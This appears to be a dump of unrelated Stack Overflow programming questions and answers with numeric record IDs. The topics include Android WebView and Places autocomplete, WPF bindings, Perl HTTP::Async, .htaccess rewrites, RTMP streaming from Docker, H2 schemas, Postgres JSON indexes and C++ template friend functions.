<pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;WebView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/webView1" android:layout_width="fill_parent" android:layout_height="fill_parent" /&gt; </code></pre> <p>it shows web page not available in the android emulator</p>
11381829	0	 <pre><code>pid_t pid; int pipeIDs[2]; if (pipe (pipeIDs)) { fprintf (stderr, "ERROR, cannot create pipe.\n"); return EXIT_FAILURE; } pid = fork (); if (pid == (pid_t) 0) { /* Write to PIPE in this THREAD */ FILE * file = fdopen( pipe[1], 'w'); fprintf( file, "Hello world"); return EXIT_SUCCESS; } else if (pid &lt; (pid_t) 0) { fprintf (stderr, "ERROR, cannot create thread.\n"); return EXIT_FAILURE; } FILE* myFile = fdopen(pipe[0], 'r'); // DONE! You can read the string from myFile .... ..... </code></pre>
10073081	0	 <p>JavaScript variables are scoped by function declarations, not by blocks. Thus, you are using two different variables.</p>
29358373	0	Interrupt OutputStream - Android <p>I'm using a <a href="http://www.codejava.net/java-se/networking/upload-files-by-sending-multipart-request-programmatically" rel="nofollow">this</a> class to upload files in HTTP, my problem is that I noticed when I remove the lan cable from my router the upload stucks as the write call blocks, below shows where it exactly stuck, I tried interrupting the thread but that didn't help either.</p> <p>Now the question is how can I interrupt outputStream? </p> <pre><code>public void addFilePart(String fieldName, File uploadFile) throws IOException { ... //removed code from here for clarity. //Can be found in the link above FileInputStream inputStream = new FileInputStream(uploadFile); byte[] buffer = new byte[4096]; int bytesRead = -1; while ((bytesRead = inputStream.read(buffer)) != -1) { //The code stuck here. //using if (Thread.interrupted()) doesn't help //as the write blocks when the network cable //removed from the router outputStream.write(buffer, 0, bytesRead); } outputStream.flush(); inputStream.close(); writer.append(LINE_FEED); writer.flush(); } </code></pre>
10587962	0	How to clean-up HTTP::Async if still in use <p>I am using Perl library <a href="http://search.cpan.org/~evdb/HTTP-Async-0.10/lib/HTTP/Async.pm" rel="nofollow">HTTP::Async</a> as follows:</p> <pre><code>use strict; use warnings; use HTTP::Async; use Time::HiRes; ... my $async = HTTP::Async-&gt;new( ... ); my $request = HTTP::Request-&gt;new( GET =&gt; $url ); my $start = [Time::HiRes::gettimeofday()]; my $id = $async-&gt;add($request); my $response = undef; while (!$response) { $response = $async-&gt;wait_for_next_response(1); last if Time::HiRes::tv_interval($start) &gt; TIME_OUT; } ... </code></pre> <p>When <code>while</code> loop timeout and script ends, I experience the the following error message: </p> <pre><code>HTTP::Async object destroyed but still in use at script.pl line 0 HTTP::Async INTERNAL ERROR: 'id_opts' not empty at script.pl line 0 </code></pre> <p>What are my options? How can I "clean-up" HTTP::Async object if still in use, but not needed anymore?</p>
11258134	0	IsHandledCreated is set to false but during runtime it is set to true? <p><strong>Hi,</strong></p> <p>I have the following code that is runned during Application.Exit : </p> <pre><code> if (InvokeRequired &amp;&amp; this.IsHandleCreated) { this.Invoke(new Action(() =&gt; EndUpdate(Caller))); return; } </code></pre> <p>This throws the exception : <strong>Invoke or BeginInvoke cannot be called on a control until the window handle has been created</strong> but only when application is exeting.</p> <p>The strange part is that when debugger breaks for the error I can see that both InvokeRequired and IsHandledCreated is set to false so im not sure how it manage to get to the internal code(this.Invoke)?</p> <p>In this case I just want to close the application without any exceptions.</p>
16960390	0	 <pre><code>class A_Class { Ref&lt;string&gt; link; void A_Class( Ref&lt;string&gt; link) { this.link= link; } void somefunction( string str ) { if(link.Value.Length &gt; 2) link.Value = str; } } public class Ref&lt;T&gt; { private Func&lt;T&gt; getter; private Action&lt;T&gt; setter; public Ref(Func&lt;T&gt; getter, Action&lt;T&gt; setter) { this.getter = getter; this.setter = setter; } public T Value { get { return getter(); } set { setter(value); } } } </code></pre>
33041779	0	Show page from another URL <p>For, example, if I have this working link: </p> <pre><code>/test1/index.php?prop1=val1 </code></pre> <p>And I have this HTML tag: </p> <pre><code>&lt;a href="/test2-val2/"&gt;link&lt;/a&gt; </code></pre> <p>How can I use this tag for opening the first link with the following content: </p> <pre><code>/new_link-test1/index.php?prop2=val2 </code></pre> <p>My guess was to use <code>.htaccess</code>: </p> <pre><code>RewriteRule ^new_link-(.*)/$ /test1/index.php?$1 [L] </code></pre> <p>It works fine until I have the following next URL: </p> <pre><code>/new_link-(.*)/?other_params=other_values </code></pre> <p>with additional unusable parameters which show after page manipulations.</p> <p>And when this URL opens, it doesn't show me the content on working link. </p> <p>How can I change <code>.htaccess</code> to fix this?</p>
10089156	0	 <p><em>null</em> value from database has its own special type:</p> <pre><code>if (r["Varandas"] != DBNull.Value &amp;&amp; r["Varandas"] != null) </code></pre> <p>To make it more elegant you can write some simple function or even extension for the DataRow class.</p>
37448066	0	 <p>1) <strong>I recommend that you check to see if this file is being written to already</strong> before you attempt to write to it.</p> <pre><code>void SaveTimer() { try { using (Stream stream = new FileStream(filename, FileMode.Open)) { yourTimer.Stop(); Save(); yourTimer.Start(); } } catch { Thread.Sleep(3000); } } } </code></pre> <ol start="2"> <li><strong>If possible, it is better to re-factor your code to avoid putting the thread to sleep.</strong></li> </ol>
13117913	0	 <p>Try using <code>ICollectionViews</code> in combination with <code>IsSynchronizedWithCurrentItem</code> property when handling lists / ObservableCollection in Xaml. The ICollectionView in the viewmodel can handle all the things needed, e.g. sorting, filtering, keeping track of selections and states.</p> <p>Xaml:</p> <pre><code>&lt;Window x:Class="ComboBoxBinding.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="MainWindow" Height="350" Width="525"&gt; &lt;Grid&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition /&gt; &lt;ColumnDefinition /&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;ListBox Grid.Column="0" ItemsSource="{Binding Reports}" DisplayMemberPath="Name" IsSynchronizedWithCurrentItem="True" /&gt; &lt;ComboBox Grid.Column="1" ItemsSource="{Binding CurrentReport.Performances}" DisplayMemberPath="Name" IsSynchronizedWithCurrentItem="True" /&gt; &lt;/Grid&gt; &lt;/Window&gt; </code></pre> <p>ViewModel:</p> <pre><code>public class ViewModel : INotifyPropertyChanged { private readonly IReportService _reportService; private ObservableCollection&lt;ReportViewModel&gt; _reports = new ObservableCollection&lt;ReportViewModel&gt;(); private PerformanceViewModel _currentPerformance; private ReportViewModel _currentReport; public ObservableCollection&lt;ReportViewModel&gt; Reports { get { return _reports; } set { _reports = value; OnPropertyChanged("Reports");} } public ReportViewModel CurrentReport { get { return _currentReport; } set { _currentReport = value; OnPropertyChanged("CurrentReport");} } public PerformanceViewModel CurrentPerformance { get { return _currentPerformance; } set { _currentPerformance = value; OnPropertyChanged("CurrentPerformance");} } public ICollectionView ReportsView { get; private set; } public ICollectionView PerformancesView { get; private set; } public ViewModel(IReportService reportService) { if (reportService == null) throw new ArgumentNullException("reportService"); _reportService = reportService; var reports = _reportService.GetData(); Reports = new ObservableCollection&lt;ReportViewModel&gt;(reports); ReportsView = CollectionViewSource.GetDefaultView(Reports); ReportsView.SortDescriptions.Add(new SortDescription("Name", ListSortDirection.Ascending)); ReportsView.CurrentChanged += OnReportsChanged; ReportsView.MoveCurrentToFirst(); } private void OnReportsChanged(object sender, EventArgs e) { var selectedReport = ReportsView.CurrentItem as ReportViewModel; if (selectedReport == null) return; CurrentReport = selectedReport; if(PerformancesView != null) { PerformancesView.CurrentChanged -= OnPerformancesChanged; } PerformancesView = CollectionViewSource.GetDefaultView(CurrentReport.Performances); PerformancesView.SortDescriptions.Add(new SortDescription("Name", ListSortDirection.Ascending)); PerformancesView.CurrentChanged += OnPerformancesChanged; PerformancesView.MoveCurrentToFirst(); } private void OnPerformancesChanged(object sender, EventArgs e) { var selectedperformance = PerformancesView.CurrentItem as PerformanceViewModel; if (selectedperformance == null) return; CurrentPerformance = selectedperformance; } public event PropertyChangedEventHandler PropertyChanged; protected virtual void OnPropertyChanged(string propertyName) { PropertyChangedEventHandler handler = PropertyChanged; if (handler != null) handler(this, new PropertyChangedEventArgs(propertyName)); } } </code></pre>
16231375	0	WPF get parent of menuItem <p>I don't know how to get the parent of a menuItem? I searched all arround but can't get a good answer...</p> <p>My XAML is:</p> <pre><code>&lt;DockPanel&gt; &lt;Menu DockPanel.Dock="Right" SnapsToDevicePixels="True" Margin="2,0,0,0"&gt; &lt;MenuItem Header="Devices"&gt; &lt;local:MenuItemWithRadioButton x:Name="MenuItemVideoDevices" Header="Video"&gt; &lt;/local:MenuItemWithRadioButton&gt; &lt;local:MenuItemWithRadioButton x:Name="MenuItemAudioDevices" Header="Audio"&gt; &lt;/local:MenuItemWithRadioButton&gt; &lt;/MenuItem&gt; &lt;/Menu&gt; &lt;/DockPanel&gt; private void MenuItemWithRadioButtons_Click(object sender, System.Windows.RoutedEventArgs e) { MenuItem mi = sender as MenuItem; if (mi != null) { RadioButton rb = mi.Icon as RadioButton; if (rb != null) { rb.IsChecked = true; } //Here I want to get the parent menuItem } } </code></pre> <p>In the code, when I click the submenuItem like "MenuItemVideoDevices", an event process function is triggered, but I don't know how to get the menuItem "Video" in this function.</p> <p>Anyone knows? </p>
10541712	0	Web app on android browser WIDTH issue <p>So I've only experienced this issue on the Android browser so far. Basically my site works fine almost all the time (and I've not seen the problem yet on Dolphin, Opera or Skyfire) but occasionally when I reopen the Android browser from a bookmark on one of my phone's homescreens my site appears stretched horizontally, so now I only see the first 2/3 of the left hand side. Its' as though the browser just lost the CSS or the meta information while it was minimized. Here are my meta tags, and I'm using width 100% in my table styles.</p> <pre><code>&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"/&gt; &lt;meta name="keywords" content="Task, Tasks, Goal, Goals, Habit, Habits, Track, Tracking, Best Habit Tracker"/&gt; &lt;meta name="description" content="Top Habit Tracker!"/&gt; &lt;meta name="mobileoptimized" content="0"/&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"/&gt; </code></pre> <p>This issue only seems to happen when the bookmark is clicked after about 30 min. to reopen the stock Android browser. Then, it seems browser gets the page from its cache, but still runs window onload for ajax, so I'm thinking the combination of it using a browser-cached page with (maybe?) the javascript DOM manipulations from ajax on top is something that the Android stock browser uniquely has problems with, breaking my table width outside the viewport. Or maybe the DOM changes have nothing to do with it.</p> <p>If the phone is switched off, then on, and the bookmarked clicked, the stock browser reloads the page from the server, then I don't get the problem. If the browser is minimized, and the bookmark re-clicked after just 2 minutes, no problem either because the browser just re-displays itself and the last page exactly as it was left, without doing anything.</p> <p>I've been thinking of some kind of hack I could throw on top to force a reload from server in the case where the page is grabbed from brower cache, or I guesss I could try turning off browser caching, but I'm wondering about the implications of doing that on images, css, load time etc. Weighing up my options... thoughts welcome.</p> <p>UPDATE: Well turning off browser caching may have reduced the incidence of this issue (not sure?) but definitely didn't cure it. I'm now thinking I may be having the same issue as described in this blog post:</p> <p><a href="http://www.gabrielweinberg.com/blog/2011/03/working-around-androids-screenwidth-bug.html" rel="nofollow">http://www.gabrielweinberg.com/blog/2011/03/working-around-androids-screenwidth-bug.html</a></p> <p>UPDATE: OK nothing I've tried so far has prevented this intermittent issue in my Android stock browser. I'm going to switch my regular use of my app to Dolphin for a while to see if the issue occurs in that browser. What I've tried so far is: using meta tags to disable browser caching (I think to some extent the Android browser ignores that anyway)... changing the table width (I may try that again in a different way)... Using the solution posted at comment 14 here (dynamically creating CSS link): <a href="https://code.google.com/p/android/issues/detail?id=11961#c14" rel="nofollow">https://code.google.com/p/android/issues/detail?id=11961#c14</a> and lastly I've tried appending Datetime ticks to the URL in an effort to alleviate caching, that hasn't worked either.</p> <p>More useful info here: <a href="http://f055.tumblr.com/post/6364300769/viewport-bugs-in-android-browser" rel="nofollow">http://f055.tumblr.com/post/6364300769/viewport-bugs-in-android-browser</a></p>
38781502	0	 <blockquote> <p>Unfortunately the Symbol isn´t displayed correctly after the relocation, instead the String for the Symbol is displayed</p> </blockquote> <p>This is because the ampersand is escaped</p> <ol> <li>Right click the RESW file and select "Open With..."</li> <li>Choose "<strong>XML (Text) Editor</strong>" <a href="https://i.stack.imgur.com/YgNqC.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YgNqC.jpg" alt="enter image description here"></a></li> </ol> <p>You will find the resource's value will be replaced by <a href="https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references#Predefined%5Fentities%5Fin%5FXML" rel="nofollow noreferrer"><code>&amp;amp;</code></a>:</p> <pre><code>&lt;data name="UISymbol.Text" xml:space="preserve"&gt; &lt;value&gt;&amp;amp;#xE160;&lt;/value&gt; &lt;/data&gt; </code></pre> <p><a href="https://i.stack.imgur.com/0r5sI.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/0r5sI.jpg" alt="enter image description here"></a></p> <p><strong>Please modify it to <code>&amp;</code> character</strong></p> <pre><code>&lt;value&gt;&amp;#xE160;&lt;/value&gt; </code></pre> <p><strong>Screenshot:</strong></p> <p><a href="https://i.stack.imgur.com/D0P96.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/D0P96.jpg" alt="enter image description here"></a></p> <p><strong>See my completed sample</strong> <a href="https://github.com/Myfreedom614/UWP-Samples/tree/master/SymbolResourceUWPApp1" rel="nofollow noreferrer">here</a></p>
27406825	0	 <p>It's not necessary or even mandatory. But is it smart? Yes it is. Android Studio with Gradle and Maven are soooo powerful, that you are losing so much time using Eclipse. </p> <p>Of course, you will have to pass all these painful steps, like we all did. What is Gradle? What is Maven? How do I import library? Where is my code? Why my Manifest does not work? And so on...</p> <p>so I strongly advise you find a week of your time and learn new IDE by fixing all those things that will arise when you do conversion. </p> <p>But in the end, you can still use Eclipse or IntelliJ IDEA the old way and leave learning to some other time. </p>
36065747	0	RTMP Streaming does not work from Docker container <p>I have an application that streams data via RTMP with a command roughly like this:</p> <pre><code>ffmpeg -y -loglevel warning -f dshow -i - -vf crop=690:388:136:0 -r 30 -s 962x388 -threads 2 -vcodec libx264 -vpre baseline -vpre my_ffpreset -f flv rtmp://some.url.com/live/myStream.sdp </code></pre> <p>It works when I run it from the command line it works. But if I run it from the docker container it can't seem to connect to the RTMP URL</p> <p>If I run the container using:</p> <pre><code>docker run -it container_name /bin/bash </code></pre> <p>I can ping the URL successfully so I don't know what the problem is.</p> <p><strong>Update:</strong> Just to be extra clear, I want to be able to connect to an RMTP server that is on the Internet from within the Docker container. And it is this connection ffmpeg -> internet that can't be established.</p>
25276718	0	How do i create a dbo schema in the h2 sqlserver emulator? <p>I'm getting a </p> <pre><code>JdbcSQLException: Schema "dbo" not found; SQL statement: create table "dbo"."TableName" </code></pre> <p>when running some boilerplate sql against the h2 sqlserver emulator (ie, with config settings:</p> <pre><code>db.default.slickdriver=com.typesafe.slick.driver.ms.SQLServerDriver db.default.driver=net.sourceforge.jtds.jdbc.Driver db.default.url="jdbc:h2:file:~/data/test1;MODE=MSSQLServer" </code></pre> <p>running the following:</p> <pre><code>Database.forDataSource(DB.getDataSource()) withSession { </code></pre> <p>I've tried creating the schema:</p> <pre><code> Database.forDataSource(DB.getDataSource()) withSession { implicit session =&gt; Q.updateNA("CREATE SCHEMA \"dbo\" AUTHORIZATION sa;") } </code></pre> <p>but that doesn't seem to do the trick (or report an error message). Am I missing something?</p> <hr> <p>still unable to create the schema programatically. was able to easily create it via the h2 console, using the exact same query as above.</p> <hr> <pre><code>play.api.UnexpectedException: Unexpected exception[JdbcSQLException: Schema "dbo" not found; SQL statement: create table "dbo"."TestTable" ("TestTableId" CHAR(36)) at play.core.ReloadableApplication$$anonfun$get$1$$anonfun$apply$1$$anonfun$1.apply(ApplicationProvider.scala:148) ~[play_2.10-2.2.3.jar:2.2.3] at play.core.ReloadableApplication$$anonfun$get$1$$anonfun$apply$1$$anonfun$1.apply(ApplicationProvider.scala:112) ~[play_2.10-2.2.3.jar:2.2.3] at scala.Option.map(Option.scala:145) ~[scala-library-2.10.4.jar:na] at play.core.ReloadableApplication$$anonfun$get$1$$anonfun$apply$1.apply(ApplicationProvider.scala:112) ~[play_2.10-2.2.3.jar:2.2.3] at play.core.ReloadableApplication$$anonfun$get$1$$anonfun$apply$1.apply(ApplicationProvider.scala:110) ~[play_2.10-2.2.3.jar:2.2.3] at scala.util.Success.flatMap(Try.scala:200) ~[scala-library-2.10.4.jar:na] Caused by: org.h2.jdbc.JdbcSQLException: Schema "dbo" not found; SQL statement: create table "dbo"."TestTable" ("TestTableId" CHAR(36)) at org.h2.message.DbException.getJdbcSQLException(DbException.java:329) ~[h2-1.3.172.jar:1.3.172] at org.h2.message.DbException.get(DbException.java:169) ~[h2-1.3.172.jar:1.3.172] at org.h2.message.DbException.get(DbException.java:146) ~[h2-1.3.172.jar:1.3.172] at org.h2.command.Parser.getSchema(Parser.java:613) ~[h2-1.3.172.jar:1.3.172] at org.h2.command.Parser.getSchema(Parser.java:620) ~[h2-1.3.172.jar:1.3.172] at org.h2.command.Parser.parseCreateTable(Parser.java:5254) ~[h2-1.3.172.jar:1.3.172] </code></pre>
24967768	0	 <p>You need to edit your sendrederct to : </p> <blockquote> <p>response.sendRedirect("/ProjectName/userhelp.html");</p> </blockquote> <p>You have response.sendRedirect("/userhelp.html"); arguement to your sendRedirect starts with a forward slash.Which means that 'realative to root of container'.So container builds URL relative to original URL of request.</p> <p>Your userhelp.html page exits in your project's webcontent.It's relative path from container's root should be /Projectname/userhelp.html.So you need to edit your path in response.sendRedirect.</p> <p>Edit : Problem is in your servlet mapping as @servletmapping(/) means that anything which comes for this url pattern(/) , should be send to this servlet.So what really happens is that when your servlet is called first time and response.sendredirect() is called ,a new request object is created and as path for it is / , So again your servlet gets called and this recursive process starts. </p> <p>So solution for this is to change servlet mapping to : @servletmapping(/test) and then call this servlet by calling yourlocalhost/test/ .So when this time redirection is done , Servlet is not called for that.</p>
4564924	0	 <p>Not with pure CSS. The closest equivalent is this:</p> <pre><code>.class1, .class2 { some stuff } .class2 { some more stuff } </code></pre>
35525496	0	How does one add a partial index checking for NULL to a JSON column on Postgres? <p>I've got a <code>json</code> column called <code>data</code> on Postgres, and I'd like to add a partial index that applies only to rows where this column is <code>null</code> - I basically need to find all the rows where <code>data</code> is <code>null</code> so I can put some data into them. </p> <p>Trying to add an index gives an error about missing operator classes, though, because we can't index <code>json</code> types with a <code>btree</code> index. But I'm not trying to index a specific property either, for me to use <code>data-&gt;&gt;property</code>. How can I index just the rows which have a <code>json</code> null in them?</p> <p>Edit: The <code>jsonb</code> suggestion would work, but I'm stuck on 9.3 for this project.</p>
4446388	0	Wordpress Shortcodes and Conditional Statements <p>I am using custom shortcodes for my post editor and i now have multiple shortcodes i would like to make a shortode be stylized differently if another shortcode is enabled. Is there a filter or conditional function like is_shortcode('slideshow') if not has anyone written a workaround for this?</p>
18492859	0	System.IO.Directory.GetFiles VS My.Computer.FileSystem.GetFiles <p>I wanted to get the names of all the files in a specific directory which includes over 25,000 files. I tried using these methods:</p> <p><code>System.IO.Directory.GetFiles</code> and <code>My.Computer.FileSystem.GetFiles</code></p> <p>I've found out that <code>System.IO</code> is significantly faster <code>My.Computer</code></p> <p>By significantly I mean around 20 second faster.</p> <p>Could anyone explain to me the difference between These two methods?</p>
29386608	0	Google maps Places API not working <pre><code>package com.example.googlemapstestproject; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLEncoder; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.os.AsyncTask; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.text.Editable; import android.text.TextWatcher; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.AutoCompleteTextView; import android.widget.Button; import android.widget.SimpleAdapter; import android.widget.Toast; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.GoogleMap.OnMapLongClickListener; import com.google.android.gms.maps.GoogleMap.OnMyLocationButtonClickListener; import com.google.android.gms.maps.MapFragment; import com.google.android.gms.maps.model.BitmapDescriptorFactory; import com.google.android.gms.maps.model.LatLng; import com.google.android.gms.maps.model.MarkerOptions; public class MainActivity extends ActionBarActivity implements OnMapLongClickListener, OnMyLocationButtonClickListener, android.view.View.OnClickListener { private GoogleMap mMap; Button userLocation;`enter code here` GPSTracker gps; PlacesTask placesTask; ParserTask parserTask; AutoCompleteTextView autoCompView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); autoCompView = (AutoCompleteTextView) findViewById(R.id.atv_places); autoCompView.setThreshold(1); autoCompView.addTextChangedListener(new TextWatcher() { @Override public void onTextChanged(CharSequence s, int start, int before, int count) { placesTask = new PlacesTask(); placesTask.execute(s.toString()); } @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { // TODO Auto-generated method stub } @Override public void afterTextChanged(Editable s) { // TODO Auto-generated method stub } }); try { // Loading map initilizeMap(); } catch (Exception e) { e.printStackTrace(); } mMap.setOnMapLongClickListener(this); mMap.setMyLocationEnabled(true); mMap.getUiSettings().setZoomControlsEnabled(true); } private String downloadUrl(String strUrl) throws IOException { String data = ""; InputStream iStream = null; HttpURLConnection urlConnection = null; try { URL url = new URL(strUrl); // Creating an http connection to communicate with url urlConnection = (HttpURLConnection) url.openConnection(); // Connecting to url urlConnection.connect(); // Reading data from url iStream = urlConnection.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(iStream)); StringBuffer sb = new StringBuffer(); String line = ""; while ((line = br.readLine()) != null) { sb.append(line); } data = sb.toString(); br.close(); } catch (Exception e) { Log.d("Exception while downloading url", e.toString()); } finally { iStream.close(); urlConnection.disconnect(); } return data; } // Fetches all places from GooglePlaces AutoComplete Web Service private class PlacesTask extends AsyncTask&lt;String, Void, String&gt; { @Override protected String doInBackground(String... place) { // For storing data from web service String data = ""; // Obtain browser key from https://code.google.com/apis/console String key = "key=AIzaSyDTg7d-JNRLRxe75QDEEeAGr1xnSHGX9V4"; String input = ""; try { input = "input=" + URLEncoder.encode(place[0], "utf-8"); } catch (UnsupportedEncodingException e1) { e1.printStackTrace(); } // place type to be searched String types = "types=(cities)"; // Sensor enabled String sensor = "sensor=false"; // Building the parameters to the web service String parameters = input + "&amp;" + types + "&amp;" + sensor + "&amp;" + key; // Output format String output = "json"; // Building the url to the web service String url = "https://maps.googleapis.com/maps/api/place/autocomplete/" + output + "?" + parameters; try { // Fetching the data from we service data = downloadUrl(url); } catch (Exception e) { Log.d("Background Task", e.toString()); } return data; } // Executed after the complete execution of doInBackground() method @Override protected void onPostExecute(String result) { // Instantiating ParserTask which parses the json data from // Geocoding webservice // in a non-ui thread ParserTask parserTask = new ParserTask(); // Start parsing the places in JSON format // Invokes the "doInBackground()" method of the class ParseTask parserTask.execute(result); } } // A class to parse the Google Places in JSON format private class ParserTask extends AsyncTask&lt;String, Integer, List&lt;HashMap&lt;String, String&gt;&gt;&gt; { JSONObject jObject; @Override protected List&lt;HashMap&lt;String, String&gt;&gt; doInBackground(String... jsonData) { List&lt;HashMap&lt;String, String&gt;&gt; places = null; PlaceJSONParser placeJsonParser = new PlaceJSONParser(); try { jObject = new JSONObject(jsonData[0]); // Getting the parsed data as a List places = placeJsonParser.parse(jObject); } catch (Exception e) { Log.d("Exception", e.toString()); } return places; } @Override protected void onPostExecute(List&lt;HashMap&lt;String, String&gt;&gt; result) { String[] from = new String[] { "description" }; int[] to = new int[] { R.layout.listview_layout }; // Creating a SimpleAdapter for the AutoCompleteTextView SimpleAdapter adapter = new SimpleAdapter(getBaseContext(), result, android.R.layout.simple_list_item_1, from, to); // Setting the adapter autoCompView.setAdapter(adapter); } } @Override public void onClick(View v) { // TODO Auto-generated method stub } } </code></pre> <p>Updated code update, everything looks fine it is just that there is nothing appearing still when I type in a place.</p> <p>I have made the google maps half and half with a listview as well so if anyone has any good solutions on how to get them to work together that would be great.</p>
27647983	0	 <p>I got the error in ermenkoff's solution.</p> <p><strong>Error</strong>: AbsoluteAssetPathError</p> <p>It was fixed by <strong>removing</strong> "/assets/" from the url.</p> <pre><code>:default_url =&gt; ":style/missing_avatar.jpg" </code></pre> <p>Images are stored in:</p> <pre><code>app/assets/images/medium/missing_avatar.jpg app/assets/images/thumbs/missing_avatar.jpg </code></pre>
29062441	0	 <p>Do you need to use JQuery? Why not use CSS?</p> <pre><code>&lt;span style="color:green;"&gt;//I need to color this line&lt;/span&gt; </code></pre>
40456580	0	 <p>You can get browser dimensions with javascript using <code>window.innerHeight</code>.</p> <pre><code>var h=window.innerHeight; </code></pre> <p>You can use the <code>innerWidth</code> for width too. There is a table with browser compatibility at <a href="http://www.w3schools.com/jsref/prop_win_innerheight.asp" rel="nofollow noreferrer">w3schools</a>.</p>
39905583	0	Mapquest routes using custom icons <p>I'm using Mapquest's Javascript API for leaflet.</p> <p>My code looks like this: </p> <pre><code>dir = MQ.routing.directions() .on('success', function (data) { console.log(data); var legs = data.route.legs; var maneuvers; if (legs &amp;&amp; legs.length) { maneuvers = $.map(legs[0].maneuvers, function(m) { return new Maneuvers(m); }); self.maneuvers(maneuvers); } }); dir.route({ locations: [ self.from(), self.to() ] }); map.addLayer(MQ.routing.routeLayer({ directions: dir, fitBounds: true })); </code></pre> <p>The results I get looks like this: <a href="https://i.stack.imgur.com/aBg5h.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aBg5h.png" alt="enter image description here"></a> Although, this looks good, the icons don't look anything like the Get Direction module on mapquest.com <a href="https://i.stack.imgur.com/OK5TT.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OK5TT.png" alt="enter image description here"></a></p> <p>How can I change the icons so that they look more modern?</p>
27946528	0	Template friend function and return type deduction <p>Note: This question is really close to <a href="http://stackoverflow.com/questions/18931993/return-type-deduction-for-in-class-friend-functions">Return type deduction for in-class friend functions</a>, but I did not find the answer to my problem there.</p> <p>Tested with clang 3.4 with std=c++1y and clang 3.5 with std=c++14 and std=c++1z</p> <p>This code compiles:</p> <pre><code>#include &lt;iostream&gt; template&lt;class T&gt; class MyClass { public: MyClass(T const&amp; a) : impl(a) {} template&lt;class T0, class T1&gt; friend auto // requires operator+(T0,T1) exists operator+(MyClass&lt;T0&gt; const&amp; a, MyClass&lt;T1&gt; const&amp; b) { return MyClass&lt;decltype(a.impl+b.impl)&gt;{a.impl + b.impl}; } T getImpl() const { return impl; } private: T impl; }; int main() { MyClass&lt;int&gt; x(2); MyClass&lt;long&gt; y(2); auto z = x+y; std::cout &lt;&lt; z.getImpl() &lt;&lt; "\n"; } </code></pre> <p>Now if I define operator+ outside of the class, it does not compile anymore:</p> <pre><code>template&lt;class T&gt; class MyClass { public: MyClass(T const&amp; a) : impl(a) {} template&lt;class T0, class T1&gt; friend auto operator+(MyClass&lt;T0&gt; const&amp; a, MyClass&lt;T1&gt; const&amp; b); T getImpl() const { return impl; } private: T impl; }; template&lt;class T0, class T1&gt; auto operator+(MyClass&lt;T0&gt; const&amp; a, MyClass&lt;T1&gt; const&amp; b) { return MyClass&lt;decltype(a.impl+b.impl)&gt;{a.impl + b.impl}; } </code></pre> <p>Clang 3.4 says:</p> <pre><code>error: use of overloaded operator '+' is ambiguous (with operand types MyClass&lt;int&gt; and MyClass&lt;long&gt;) </code></pre> <p>And then points at what it believes to be two different functions: the declaration in the class and the definition outside the class.</p> <p>My question is: is it a clang bug, or just that template parameters are deduced for a friend function thus leading the two functions not being equivalent is some cases ? And what alternative would you suggest: make operator+ a member function, or define friend operator+ inside the class (which would in my opinion clutter the class interface) ?</p> <p>Just for your information, I have a real use case of such code, where I try to wrap a third -party matrix class and I need return type deduction because of the use of expression template for lazy evaluation.</p> <p><em>Edit</em>: The following does work (but still clutters the interface...)</p> <pre><code>template&lt;typename T&gt; class MyClass { T impl; public: explicit MyClass(T a) : impl(std::move(a)) { } T const&amp; getImpl() const { return impl; } template&lt;typename T0, typename T1&gt; friend auto operator +(MyClass&lt;T0&gt; const&amp; a, MyClass&lt;T1&gt; const&amp; b) -&gt; MyClass&lt;decltype(a.impl + b.impl)&gt;; }; template&lt;typename T0, typename T1&gt; auto operator +(MyClass&lt;T0&gt; const&amp; a, MyClass&lt;T1&gt; const&amp; b) -&gt; MyClass&lt;decltype(a.impl + b.impl)&gt; { return MyClass&lt;decltype(a.impl + b.impl)&gt;(a.impl + b.impl); } </code></pre>
30673331	0	Using `onRetainCustomNonConfigurationInstance` to retain data across configuration changes <p>I've been programming for Android for some time, and I'm still looking for solutions to retain data over configuration changes. Aside from saving <code>Parcelable</code>s to Activity's <code>Bundle</code> in <code>onSaveInstanceState</code> docs are suggesting using <code>Fragment</code> with <code>setRetainInstance</code> flag set to true.</p> <p>But I've just come across some code that uses <code>onRetainCustomNonConfigurationInstance</code> to hold arbitrary objects (in a fancy way, but essentially big objects without references to <code>Activity</code> etc.). I have never seen this method used, so I have some doubts:</p> <ul> <li>Is this method safe to call to store arbitrary objects (in a sense that I can be pretty sure it's gonna get called, and that it won't be deprecated/removed anytime soon)?</li> <li>How is this method different from <code>onRetainNonConfigurationInstance()</code>, which also should return <code>Object</code>, and in essence should work similarly?</li> <li>Is using retained fragment still better, for some reason?</li> </ul> <p>As a bonus, I would be grateful for any other tips or solutions to save state of objects like <code>AsyncTask</code>, <code>Observable</code>, view's presenters and go on</p>
